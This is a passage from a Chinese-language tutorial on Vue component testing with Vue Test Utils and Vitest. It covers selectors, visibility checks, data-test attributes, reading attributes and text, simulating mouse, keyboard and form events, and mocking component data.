在使用上幾乎大同小異，而唯一有差別在於他會將原先內部有用到元件的部分以替換為一個模擬元件（stub component），並且命名改以烤肉串命名法（Kebab case）並且在最末端加上 -stub 供辨識：\nRootComponent.vue 1 \u0026lt;ParentComponent\u0026gt;\u0026lt;/ParentComponent\u0026gt; 經 shallowMount 渲染結果變成：\nRootComponent.vue 1 \u0026lt;parent-component-stub\u0026gt;\u0026lt;/parent-component-stub\u0026gt; 如此一來在撰寫測試案例時，就可以關注在當下「父層元件」與「子層元件」的之間的內容，而不管「子層元件」底下所發生的事情：\n1 2 3 4 5 6 import component from \u0026#39;./RootComponent.vue\u0026#39; it(\u0026#39;should render corrent content\u0026#39;, async () =\u0026gt; { const wrapper = shallowMount(component) // ... expect(wrapper.html()).toBe(`\u0026lt;parent-component-stub\u0026gt;\u0026lt;/parent-component-stub\u0026gt;`) }) 容器的方法（Wrapper methods） - 選擇器 在進行測試時，前面章節有提到我們會使用 mount 或 shallowMount 來包裹元件，從而得到一個 VueWrapper，而在這個 VueWrapper 裡頭有許多實用的容器方法（Wrapper methods），雖然官方文件中並沒有特意分類，但大意上可分為幾種方法：\n查詢、選擇指定的元素、元件等選擇器 取得目標屬性或內容（class, attribute） 觸發 DOM 事件（如滑鼠點擊、鍵盤輸入與按鍵⋯⋯等） 取得 emit 事件、設置 data 或 prop、甚至觸發元件 unmmount 等 Vue API 相關的方法 這邊著重在於介紹選擇器的方法使用與測試應用，最後補上相關的討論：\n元素、元件選擇器 判斷目標是否存在：exists 與 isVisible 使用 data-* attribute 選擇器 在進行元件測試（component testing）的過程中，有時我們可能只想關注在某個特定 DOM 或元件的相關資訊時，這時我們就可以透過容器中的選擇器方法來尋找，而選擇器根據選取對象的不同，主要分為：\n元素（element）選擇器 元件（component）選擇器 元素選擇器 元素選擇器語法基本上有兩種寫法，一種是基於元素的 refs，另一種則是 querySelector：\n1 2 3 4 5 6 \u0026lt;template\u0026gt; \u0026lt;p ref=\u0026#34;dogcat\u0026#34;\u0026gt;???\u0026lt;/p\u0026gt; \u0026lt;p id=\u0026#34;dog\u0026#34;\u0026gt;科基\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;cat\u0026#34;\u0026gt;橘貓\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;cat\u0026#34;\u0026gt;黑黑\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 1 2 3 4 5 6 /* ref */ wrapper.find({ ref: \u0026#39;span\u0026#39; }) /* querySelector */ wrapper.find(\u0026#39;#dog\u0026#39;) wrapper.find(\u0026#39;.cat\u0026#39;) 而容器方法有關選取元素的選擇器一共分為三種：\nfind findAll get 這三種選擇器在選取到目標後主要都是返回 DOMWrapper，此時我們就可以在串連其他容器方法（Wrapper methods）如 classes 或 text 等等來取得屬性或內容資訊，只是返回的結果內容會有些差異。\n比方 find、findAll 的部分主要差別在於 findAll 返回的內容會被放置於陣列當中：\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;p id=\u0026#34;dog\u0026#34;\u0026gt;科基\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;cat\u0026#34;\u0026gt;橘貓\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;cat\u0026#34;\u0026gt;黑黑\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 而我們可以透過像這樣的方式取得陣列內的資訊：\n1 2 3 4 5 6 7 8 9 10 11 12 it(\u0026#39;should be display correct content\u0026#39;, () =\u0026gt; { const wrapper = mount(component) const target= wrapper.find(\u0026#39;#dog\u0026#39;) // \u0026lt;DOMWrapper\u0026gt; expect(target.text()).toBe(\u0026#39;科基\u0026#39;) }) it(\u0026#39;should be display correct content\u0026#39;, () =\u0026gt; { const wrapper = mount(component) const target= wrapper.findAll(\u0026#39;.cat\u0026#39;) // \u0026lt;DOMWrapper\u0026gt;[] expect(target[0].text()).toBe(\u0026#39;橘貓\u0026#39;) expect(target[1].text()).toBe(\u0026#39;黑黑\u0026#39;) }) 注意：透過 findAll 斷言時是「有序」的，很容易受到順序改變而導致測試案例失敗，除非撰寫測試案例目標之一就是要確保順序不會調動，否則改用 find 斷言會比較不容易受影響。\n而 find 與 get 的差別在於 find 找不到目標時返回的是 {} 後續若仍繼續操作、斷言時才會由拋出錯誤（由 ErrorWrapper 提供）；然而 get 一開始若找不到目標時就直接拋出錯誤（throw Error）了。\n根據 ErrorWrapper 原始碼，可以看見他主要是針對容器方法中的 exists() 會返回 false。\n因此在針對找不到元素的測試案例合法的寫法可以這麼做：\n1 2 expect(() =\u0026gt; wrapper.get(\u0026#39;.something-that-does-not-exist\u0026#39;)).toThrowError() expect(wrapper.find(\u0026#39;.something-that-does-not-exist\u0026#39;).exists()).toBeFalsy() find 判斷元素陷阱 魔鬼藏在細節裡，或許你可能會想說為什麼不直接用 find 還要再另外透過 exists 判斷呢，讓我們看看一個案例：\n1 \u0026lt;p\u0026gt;無關緊要的東西\u0026lt;/p\u0026gt; 如果這時你這麼寫了：\n1 2 expect(wrapper.find(\u0026#39;.something-that-does-not-exist\u0026#39;)).toBeTruthy() // 通過 ！？ 原因在於 find 在找不到的情況下目標的情況所返回的值會是 ErrorWrapper 物件，所以透過 toBeTruthy 斷言就會通過。\n而為了避免這種情況發生，官方文件其實只有輕描淡述地說道：\nAs a rule of thumb, always use get except when you are asserting something doesn\u0026rsquo;t exist. In that case use find.\n但上方經驗考量在哪，只有在追了他們相關的 issue 才會逐漸明白考量的根據，而關於這部分，甚至開發團隊未來可能也會考慮將 find 方法給拔掉，剩下 exists 本身，但礙於這會是個 breaking change 的做法，所以在 vue-test-utils 跳大版本號之前應該都會暫時維持原樣。\n元件（component）選擇器 findComponent findAllfindComponents (注意有個 s） getComponent 原則上使用方式與元素選擇器差不多，只是選取語法上除了 refs 與 querySelector 語法之外，還多了：\nComponent name： findComponent({name: '元件名稱'}) 將 import SFC 直接放入方法中： findComponent(Component) 但由於使用 querySelector 上也有一些小陷阱，所以個人建議以 SFC 方式引入或是乾脆透過 shallowMount 將子層元件 stub 掉也是一種方式。\n判斷目標存在 經由剛剛陷阱的部分大家應該都很清楚 exists() 的存在了，而判斷選取目標其實他還有個好朋友就是 isVisible()，但他們判斷存在的定義上有一些差別：\nexists()：主要判斷的是該目標存不存在 DOM 上： 1 \u0026lt;p\u0026gt;Hello\u0026lt;/p\u0026gt; 1 2 3 4 5 it(exist, () =\u0026gt; { const wrapper = mount(Component) expect(wrapper.find(\u0026#39;p\u0026#39;).exists()).toBe(true) expect(wrapper.find(\u0026#39;span\u0026#39;).exists()).toBe(false) }) isVisable()：主要判斷的是該目標存在 DOM 上之外，視覺上有無顯示在畫面中： 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;p v-if=\u0026#34;false\u0026#34; class=\u0026#34;dog\u0026#34;\u0026gt;科基\u0026lt;/p\u0026gt; \u0026lt;p v-show=\u0026#34;true\u0026#34; class=\u0026#34;orange-cat\u0026#34;\u0026gt;橘貓\u0026lt;/p\u0026gt; \u0026lt;p v-show=\u0026#34;false\u0026#34; class=\u0026#34;black-cat\u0026#34;\u0026gt;黑黑\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 it(\u0026#39;v-if false\u0026#39;, () =\u0026gt; { const wrapper = mount(component) expect(wrapper.find(\u0026#39;.dog\u0026#39;).isVisible()).toBeFalsy() // Error： 直接噴錯 }) it(\u0026#39;v-show true\u0026#39;, () =\u0026gt; { const wrapper = mount(component) expect(wrapper.find(\u0026#39;.orange-cat\u0026#39;).isVisible()).toBeTruthy() // 測試通過 }) it(\u0026#39;v-show false\u0026#39;, () =\u0026gt; { const wrapper = mount(component) expect(wrapper.find(\u0026#39;.black-cat\u0026#39;).isVisible()).toBeFalsy() // 測試通過 }) 關於 isVibile 更為詳細的判斷如下：\nCSS style 中 含有 display: none =\u0026gt; false CSS style 中 含有 visibility: hidden =\u0026gt; false CSS style 中 含有 opacity :0 =\u0026gt; false 元素中 hidden 屬性為 true =\u0026gt; false 綜合結論上方陷阱與判斷方法：\n若要判斷元素是否存在 或 v-if：使用 get 方法是最保險的，真的要用 find 則一定要搭配 exists 若要判斷 v-show：使用 find().isVisible() 使用 data-* attribute 在撰寫測試情境時，若依照上面的 querySelector 選了元素、id 或 class 時，初期一定會很開心，因為不會遇到太多困難，但往後在開發的過程執行測試時就很容易有機會遇到各種問題。\n原先：\n1 2 3 \u0026lt;template\u0026gt; \u0026lt;p class=\u0026#34;content\u0026#34;\u0026gt;content\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 改成：\n1 2 3 \u0026lt;template\u0026gt; \u0026lt;p class=\u0026#34;content\u0026#34; data-test=\u0026#34;content\u0026#34;\u0026gt;content\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 使用 data-* 作為選擇目標好處最主要在於顯著標記測試內容，而這影響到的範圍有：\n開發期，過程不用擔心會影響到測試，如上方所見，我只要變更 data-test 以外的內容，預期應該不會影響到測試選擇的目標，使測試案例錯誤能更專注在斷言的目標上，而非選擇目標被替換導致的錯誤。 重構（refactor）過程，能清楚比較範圍，若將來調整結構，只要將屬性轉移到對應的位置即可。 生產期，能夠針對特定的屬性移除，避免留下各種測試痕跡，對於像是輔助閱讀裝置等技術來說就不會被影響到。 在生產環境刪除 data-* attribute 若想在 vitest 中移除 data-* 也非常的簡單，我們只需要在 vite.config.js 設定中，針對 Vue 底下的編譯選項做一些調整即可（底下示範的版本為移除 data-test，若使用其他命名請自行調整囉）：\nvite.config.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const isProd = process.env.NODE_ENV === \u0026#39;production\u0026#39; const removeDataTestAttrs = (node) =\u0026gt; { const NodeTypes = Object.freeze({ ELEMENT: 1, ATTRIBUTE: 6, }) if (node.type === NodeTypes[\u0026#39;ELEMENT\u0026#39;]) { node.props = node.props.filter((prop) =\u0026gt; (prop.type === NodeTypes[\u0026#39;ATTRIBUTE\u0026#39;] ? prop.name !== \u0026#39;data-test\u0026#39; : true)) // 請自行替換命名 data-test } } export default defineConfig(() =\u0026gt; { return { plugins: [ vue({ template: { compilerOptions: { nodeTransforms: isProd ? [removeDataTestAttrs] : [], }, }, }), ] } }) 容器的方法(Wrapper methods) - 取得目標資訊 判斷屬性 attributes 當你想要確認 \u0026lt;a\u0026gt; 中的 href 是否帶有指定的連結或是檢查 \u0026lt;img\u0026gt; 上的屬性時，這時就可以透過 attributes 取得屬性。\n而 attributes 用法主要有兩種，直接使用時會獲取目標：\n1 \u0026lt;a data-test=\u0026#34;link\u0026#34; href=\u0026#34;https://ithelp.ithome.com.tw/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;ithelp\u0026lt;/a\u0026gt; 1 wrapper.find(\u0026#39;[data-test=\u0026#34;link\u0026#34;]\u0026#39;).attributes() // { href: \u0026#39;https://ithelp.ithome.com.tw/\u0026#39;, \u0026#39;target\u0026#39;: \u0026#39;_blank\u0026#39; } 當想要直接取得特定屬性值時也可以直接將屬性名稱帶入參數中：\n1 wrapper.find(\u0026#39;a\u0026#39;).attributes(\u0026#39;target\u0026#39;) // \u0026#39;_blank\u0026#39; classes 同樣的，若想要尋找 class 屬性的話可以透過 classes 語法取得資訊。你可能會直覺地想到 class 也是屬性的一種那應該用 attributes('class') 查詢，然而這兩者的差別最主要在於產出的結果會有所不同。\n1 2 3 \u0026lt;section data-test=\u0026#34;wrap\u0026#34; class=\u0026#34;container w-full h-full\u0026#34;\u0026gt; \u0026lt;p\u0026gt;Title\u0026lt;/p\u0026gt; \u0026lt;/section\u0026gt; 若使用 attributes('class') 查詢結果將會是字串形式的資料，後續要處理比對上的問題會稍微麻煩一點：\n1 wrapper.find(\u0026#39;[data-test=\u0026#34;wrap\u0026#34;]\u0026#39;).attributes(\u0026#39;class\u0026#39;) // \u0026#34;container w-full h-full\u0026#34; 若是使用 classes 語法查詢的話將得到一個陣列的結果：\n1 wrapper.find(\u0026#39;[data-test=\u0026#34;wrap\u0026#34;]\u0026#39;).classes() // [\u0026#34;container\u0026#34;, \u0026#34;w-full\u0026#34;, \u0026#34;h-full\u0026#34;] 此時就可以配合 toContain 等陣列的斷言 Matcher 快速處理測試案例：\n1 expect(wrapper.find(\u0026#39;[data-test=\u0026#34;wrap\u0026#34;]\u0026#39;).classes()).toContain(\u0026#39;container\u0026#39;) 這對於測試樣式採用原子化設計的工具（Tailwind CSS、Windi CSS 等）有奇效，我們可以將視覺層的邏輯透過 classes 的結果斷言。\n因為這類原子化設計工具往往依賴 class 屬性來做樣式上的調整與擴充，通常為了美觀與管理方便會順便在使用這類工具時加裝自動排序（sorting） class 屬性等擴充工具，因此 class 的順序將變成不穩定的狀態。\n因此元素若從：\n1 \u0026lt;p data-test=\u0026#34;content\u0026#34; class=\u0026#34;A B C\u0026#34;\u0026gt;content\u0026lt;/p\u0026gt; 變成：\n1 \u0026lt;p data-test=\u0026#34;content\u0026#34; class=\u0026#34;A C B\u0026#34;\u0026gt;content\u0026lt;/p\u0026gt; 對於快照測試等 Matcher (toMatchSnapshot、toMatchInlineSnapshot)來說將會顯示測試失敗：\n1 expect(wrapper.find(\u0026#39;.content\u0026#39;)).toMatchSnapshot() 快照比對結果：\n1 2 - class=\u0026#34;A B C\u0026#34; + class=\u0026#34;A C B\u0026#34; 而以陣列比對是否「包含」的方式，將不受影響：\n1 2 3 expect(wrapper.find(\u0026#39;.content\u0026#39;).classes()).toContain(\u0026#39;A\u0026#39;) expect(wrapper.find(\u0026#39;.content\u0026#39;).classes()).toContain(\u0026#39;B\u0026#39;) expect(wrapper.find(\u0026#39;.content\u0026#39;).classes()).toContain(\u0026#39;C\u0026#39;) 判斷內容物 text text 主要是取得目標元素節點後代的所有文字：\nRootComponent.vue 1 2 3 4 5 6 \u0026lt;div data-test=\u0026#34;target\u0026#34;\u0026gt; Root \u0026lt;child-component /\u0026gt; \u0026lt;child-component /\u0026gt; \u0026lt;child-component /\u0026gt; \u0026lt;/div\u0026gt; ChildComponent.vue 1 \u0026lt;p\u0026gt;child\u0026lt;/p\u0026gt; 使用 mount 包裝元件時 wrapper.find('[data-test=\u0026quot;target\u0026quot;]').text() 的結果將會是：\n1 Rootchildchildchild 使用 shallowMount 包裝元件時 wrapper.find('[data-test=\u0026quot;target\u0026quot;]').text() 的結果將會是：\n1 Root html 與 text 類似，但 html 會將目標元素後代所有元素都記錄下來：\nRootComponent.vue 1 2 3 4 5 6 \u0026lt;div data-test=\u0026#34;target\u0026#34;\u0026gt; Root \u0026lt;child-component /\u0026gt; \u0026lt;child-component /\u0026gt; \u0026lt;child-component /\u0026gt; \u0026lt;/div\u0026gt; ChildComponent.vue 1 \u0026lt;p\u0026gt;child\u0026lt;/p\u0026gt; 使用 mount 包裝元件時 wrapper.find('[data-test=\u0026quot;target\u0026quot;]').html() 的結果將會是：\n1 2 3 4 Root \u0026lt;p\u0026gt;child\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;child\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;child\u0026lt;/p\u0026gt; 使用 shallowMount 包裝元件時 wrapper.find('[data-test=\u0026quot;target\u0026quot;]').html() 的結果將會是：\n1 2 3 4 Root \u0026lt;child-component-stub\u0026gt;\u0026lt;/child-component-stub\u0026gt; \u0026lt;child-component-stub\u0026gt;\u0026lt;/child-component-stub\u0026gt; \u0026lt;child-component-stub\u0026gt;\u0026lt;/child-component-stub\u0026gt; 因此在使用 text 與 html 來進行斷言時，要注意到「測試所需包含的範圍」以及「元件容器」應採用 mount 還是 shallowMount 等議題，才能讓測試更加強韌且不會讓後續開發無相關的內容時一直被測試攔住。\n容器的方法(Wrapper methods) - 模擬事件 滑鼠事件 常見的 DOM 事件有下列幾種：\n滑鼠事件：點擊（click） 鍵盤事件：按下某鍵（keydown）、鬆開某鍵（keyup） 表單事件：針對 \u0026lt;input\u0026gt; 輸入內容、checkbox 與 radio 勾選或 \u0026lt;select\u0026gt; 中的選擇內容 首先，語法方面除了表單事件之外，要模擬大部分的事件我們可以透過容器方法中的 trigger 方法即可觸發事件：\n1 wrapper.trigger(event, options) 用法是在第一個參數中傳入要觸發的 DOM 事件名稱（e.g. click、drag），如果有需要補充觸發事件的條件，比方像是按下哪個鍵盤，就可以透過第二個參數帶入資訊（e.g. { keyCode: 65 }）。\n而要注意到的是由於這些事件基本上都會是非同步的用法，所以在撰寫測試案例時可以使用 async/await 來讓斷言（Assertion）保持正確的結果：\n1 2 3 4 5 6 7 8 9 10 it(\u0026#39;...\u0026#39;, async () =\u0026gt; { // Arrange const wrapper = mount(component) // Act await wrapper.trigger(event, options) // Assert expect(/* ... */).toBe(/* ... */) }) 有了這個概念之後，接下來便可以快速來看看實際上各個事件觸發的實際案例與事件名稱，並且著重關注要特別注意的地方。\n滑鼠事件 點擊： click 雙擊： dblclick 指定點擊： click.left、click.middle、click.right 點擊與雙擊 點擊與雙擊的部分最主要需要注意的部分是，以事件來說的概念「雙擊（dblclick）」是一個事件，並非「兩個」「點擊（click）」事件：\n元件 1 2 3 4 5 6 7 8 \u0026lt;script setup\u0026gt; import { ref } from \u0026#39;vue\u0026#39; const count = ref(0) \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;p data-test=\u0026#34;content\u0026#34;\u0026gt;{{ count }}\u0026lt;/p\u0026gt; \u0026lt;button data-test=\u0026#34;button\u0026#34; @click=\u0026#34;count++\u0026#34;\u0026gt;Add\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; 測試程式碼 1 2 3 4 5 6 7 8 9 10 it(\u0026#39;after click button should display correct content\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find(\u0026#39;[data-test=\u0026#34;button\u0026#34;]\u0026#39;).trigger(\u0026#39;click\u0026#39;) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;content\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;1\u0026#39;) await wrapper.find(\u0026#39;[data-test=\u0026#34;button\u0026#34;]\u0026#39;).trigger(\u0026#39;click\u0026#39;) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;content\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;2\u0026#39;) await wrapper.find(\u0026#39;[data-test=\u0026#34;button\u0026#34;]\u0026#39;).trigger(\u0026#39;dblclick\u0026#39;) // 觸發不到 @click 事件 expect(wrapper.find(\u0026#39;[data-test=\u0026#34;content\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;4\u0026#39;) // AssertionError }) 指定按鍵點擊 有時候你可以會想要指定滑鼠的按鍵來觸發事件，這時就可以使用類似修飾符（modifier）一樣的方式來觸發事件：\nclick.left click.middle click.right 元件 1 2 3 4 5 6 7 8 \u0026lt;script\u0026gt; const result = ref(\u0026#39;\u0026#39;) \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;button data-test=\u0026#34;button\u0026#34; @click.right=\u0026#34;result = \u0026#39;here we go!\u0026#39;\u0026#34;\u0026gt;Are You ready?\u0026lt;/button\u0026gt; \u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;{{ result }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 測試程式碼 1 2 3 4 5 it(\u0026#39;should be display correct text\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find(\u0026#39;[data-test=\u0026#34;button\u0026#34;]\u0026#39;).trigger(\u0026#39;click.right\u0026#39;) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;here we go!\u0026#39;) }) 除此之外，鍵盤與滑鼠的操作也可以融合再一起：\n1 2 trigger(\u0026#39;click.ctrl.left\u0026#39;) // 左鍵點擊時同時按著 ctrl 鍵 trigger(\u0026#39;click.alt.right\u0026#39;) // 右鍵點擊時同時按著 alt 鍵 鍵盤事件 鍵盤最常見的核心事件主要為：\n按下某個按鈕 keydown 鬆開某個按鈕 keyup 上述事件如同指定滑鼠按鍵的寫法，一樣擁有修飾符的相關語法，而後方帶的修飾符主要為按鍵的名稱：\n1 2 trigger(\u0026#39;keydown.enter\u0026#39;) // 按下 enter 鍵 trigger(\u0026#39;keyup.up\u0026#39;) // 鬆開 上方向鍵 同樣地，鍵盤事件也支援多重的組合修飾符寫法：\n1 trigger(\u0026#39;keydown.ctrl.tab\u0026#39;) // 按下 ctrl 鍵 + tab 鍵 若你想要更靈活的使用鍵盤事件，也可以用 trigger 方法的第二個參數帶入鍵盤的名稱，而目前有支援的寫法主要有下列三種：\n1 2 3 4 5 trigger(\u0026#39;事件名稱\u0026#39;, { code?: event.code; key?: event.key; keyCode?: event.keycode; }) 若不清楚鍵盤對應的代號也沒有關係，有不少網站專門提供類似的服務供查詢，比方像這個 網站 只要按下任一按鍵就會即時顯示鍵盤對應的代號、名稱等等相關資訊。\n在查到代號後我們就可以將其帶入剛才的方法中：\n1 trigger(\u0026#39;keydown\u0026#39;, { keyCode: 13 }) 至於要選擇哪種寫法就看場景本身的需求來做決定囉！\n表單事件 input 輸入 checkbox / radio 勾選 \u0026lt;select\u0026gt; 中的選擇內容 原先為了針對不同表單類型，Vue Test Utils 1 版（for Vue2）工具提供了一個專屬的 setChecked 的來對應 checkbox / radio 勾選狀態（checked）；除此之外替 \u0026lt;select\u0026gt; 元素的選擇提供了 setSelected 方法來模擬選擇行為。\n而在 Vue Test utils 2 版時，我們將只要統一使用 setValue 即可自動對應所有表單的行為！\n模擬 input 輸入 輸入表單或是操作日期選擇器：\n1 2 3 4 5 6 \u0026lt;template\u0026gt; \u0026lt;input v-model=\u0026#34;textResult\u0026#34; type=\u0026#34;text\u0026#34; data-test=\u0026#34;text\u0026#34;/\u0026gt; \u0026lt;p data-test=\u0026#34;result_text\u0026#34;\u0026gt;{{textResult}}\u0026lt;/p\u0026gt; \u0026lt;input v-model=\u0026#34;dateResult\u0026#34; type=\u0026#34;date\u0026#34; data-test=\u0026#34;date\u0026#34;/\u0026gt; \u0026lt;p data-test=\u0026#34;result_date\u0026#34;\u0026gt;{{dateResult}}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 文字輸入：\n1 2 3 4 5 it(\u0026#39;模擬 input 輸入\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find([data-test=\u0026#34;text\u0026#34;]).setValue(\u0026#39;Hello, World!\u0026#39;) expect(wrapper.find([data-test=\u0026#34;result_text\u0026#34;]).text()).toBe(\u0026#39;Hello, World!\u0026#39;) }) 選擇日期：\n1 2 3 4 5 it(\u0026#39;模擬 日期 輸入\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find([data-test=\u0026#34;date\u0026#34;]).setValue(\u0026#39;2022/10/06\u0026#39;) expect(wrapper.find([data-test=\u0026#34;result_date\u0026#34;]).text()).toBe(\u0026#39;2022/10/06\u0026#39;) }) 模擬 radio 勾選 元件 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;input data-test=\u0026#34;radio_1\u0026#34; type=\u0026#34;radio\u0026#34; v-model=\u0026#34;radioResult\u0026#34; value=\u0026#34;1\u0026#34; /\u0026gt; \u0026lt;input data-test=\u0026#34;radio_2\u0026#34; type=\u0026#34;radio\u0026#34; v-model=\u0026#34;radioResult\u0026#34; value=\u0026#34;2\u0026#34; /\u0026gt; \u0026lt;p data-test=\u0026#34;result\u0026#34;\u0026gt;{{ radioResult }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 測試程式碼 1 2 3 4 5 6 7 it(\u0026#39;模擬 radio 勾選行為\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find(\u0026#39;[data-test=\u0026#34;radio_1\u0026#34;]\u0026#39;).setValue(true) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;result\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;1\u0026#39;) await wrapper.find(\u0026#39;[data-test=\u0026#34;radio_2\u0026#34;]\u0026#39;).setValue(true) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;result\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;2\u0026#39;) }) 模擬 checkbox 勾選 元件 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;input data-test=\u0026#34;checkbox_1\u0026#34; type=\u0026#34;checkbox\u0026#34; v-model=\u0026#34;checkboxResult\u0026#34; value=\u0026#34;1\u0026#34; /\u0026gt; \u0026lt;input data-test=\u0026#34;checkbox_2\u0026#34; type=\u0026#34;checkbox\u0026#34; v-model=\u0026#34;checkboxResult\u0026#34; value=\u0026#34;2\u0026#34; /\u0026gt; \u0026lt;p data-test=\u0026#34;result\u0026#34;\u0026gt;{{ checkboxResult.join(\u0026#39;,\u0026#39;) }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 測試程式碼 1 2 3 4 5 6 7 8 9 it(\u0026#39;模擬 checkbox 勾選行為\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find(\u0026#39;[data-test=\u0026#34;checkbox_1\u0026#34;]\u0026#39;).setValue(true) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;result\u0026#34;]\u0026#39;).text()).toBe(\u0026#39;1\u0026#39;) await wrapper.find(\u0026#39;[data-test=\u0026#34;checkbox_2\u0026#34;]\u0026#39;).setValue(true) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;result\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;1,2\u0026#39;) await wrapper.find(\u0026#39;[data-test=\u0026#34;checkbox_1\u0026#34;]\u0026#39;).setValue(false) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;result\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;2\u0026#39;) }) 模擬 select 選擇 元件 1 2 3 4 5 6 7 \u0026lt;template\u0026gt; \u0026lt;select data-test=\u0026#34;target\u0026#34; v-model=\u0026#34;result\u0026#34;\u0026gt; \u0026lt;option value=\u0026#34;orange\u0026#34;\u0026gt;Orange\u0026lt;/option\u0026gt; \u0026lt;option value=\u0026#34;black\u0026#34;\u0026gt;Black\u0026lt;/option\u0026gt; \u0026lt;/select\u0026gt; \u0026lt;p data-test=\u0026#34;result\u0026#34;\u0026gt;{{ result }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 測試程式碼 1 2 3 4 5 it(\u0026#39;模擬 select 選擇\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).setValue(\u0026#39;orange\u0026#39;) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;result\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;orange\u0026#39;) }) 模擬 Vue APIs data 注意：在模擬 data 之前需要注意的是，在大部分的測試時我們通常不必特意去模擬 data，應該讓其與元件本身的私有方法（private method）自然互動即可，若會需要透過模擬 data 來操作元件則要觀察是否資料與元件本身耦合了，這種情況下可能造成元件本身無法高度重複利用。\n私有方法（private method） 封閉在元件、物件\u0026hellip;等等中的函式，在外部無法存取得到，e.g：\n1 2 3 4 5 6 function add5(x){ const add = (x,y,) =\u0026gt; x + y return add5(5, x) } // 裡頭的 add 函式即為私有方法。 若是真的有需要用到模擬 data 屬性時，首先要注意元件是用何種方式（options API /composition API 與 \u0026lt;script setup\u0026gt;）來使用 data，因為寫法上將會有所不同；且依照設定的時機還可分為「初始狀態」與「後續操作」。\ndata（options API） 1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;template\u0026gt; \u0026lt;p data-test=\u0026#34;target\u0026#34;\u0026gt;{{ content }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { data() { return { content: \u0026#39;\u0026#39; } } } \u0026lt;/script\u0026gt; data（option API）初始狀態模擬，可透過容器（wrapper）的第二個參數帶入：\n1 2 3 4 5 6 7 8 9 10 /* 測試程式碼 */ const wrapper = mount(component, { data(){ return { content: \u0026#39;test\u0026#39; } } }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;test\u0026#39;) 若要模擬後續才設定 data（option API），則可以透過容器方法中的 setData() 設置，此外由於是非同步的方法，要記得 async/await 才能確保斷言正確：\n1 2 3 4 5 6 7 8 it(\u0026#39;...\u0026#39;, async () =\u0026gt; { const wrapper = mount(component) await wrapper.setData({ content: \u0026#39;test\u0026#39; }) expect(wrapper.find(\u0026#39;[data-test=\u0026#34;target\u0026#34;]\u0026#39;).text()).toEqual(\u0026#39;test\u0026#39;) }) data（composition API, \u0026lt;script setup\u0026gt; 語法糖） composition API： 1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; export default { setup() { const content = ref(\u0026#39;\u0026#39;) return { content } } } \u0026lt;/script\u0026gt; \u0026lt;script setup\u0026gt; 語法糖： 1 2 3 4 \u0026lt;script setup\u0026gt; import { ref } from \u0026#39;vue\u0026#39; const content = ref(\u0026#39;\u0026#39;) \u0026lt;/script\u0026gt; 這一類透過 setup() 所處理的資料，若要模擬會遇到不少問題。\n在容器方法中的第二個參數所提供的方式，原先是供應給 options API 中的 data 屬性所使用，所以我們必須改以注入的方式嵌入 setup()：\n1 2 3 4 5 6 7 8 /* 測試程式碼 */ const wrapper = monut(component, { setup(){ return { content:\u0026#39;\u0026#39; } } }) 但如此一來，元件中原先其他寫在 setup() 內的狀態等就必須一起模擬，還記得好的元件測試守則之一嗎？沒錯，就是不要重複實踐實作。\n那比較好的方式之一就是透過容器方法中（wrapper）取得實體來設置變數，並且透過 nextTick 方法確保渲染結果：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 it(\u0026#39;...\u0026#39; , async () =\u0026gt; { /* 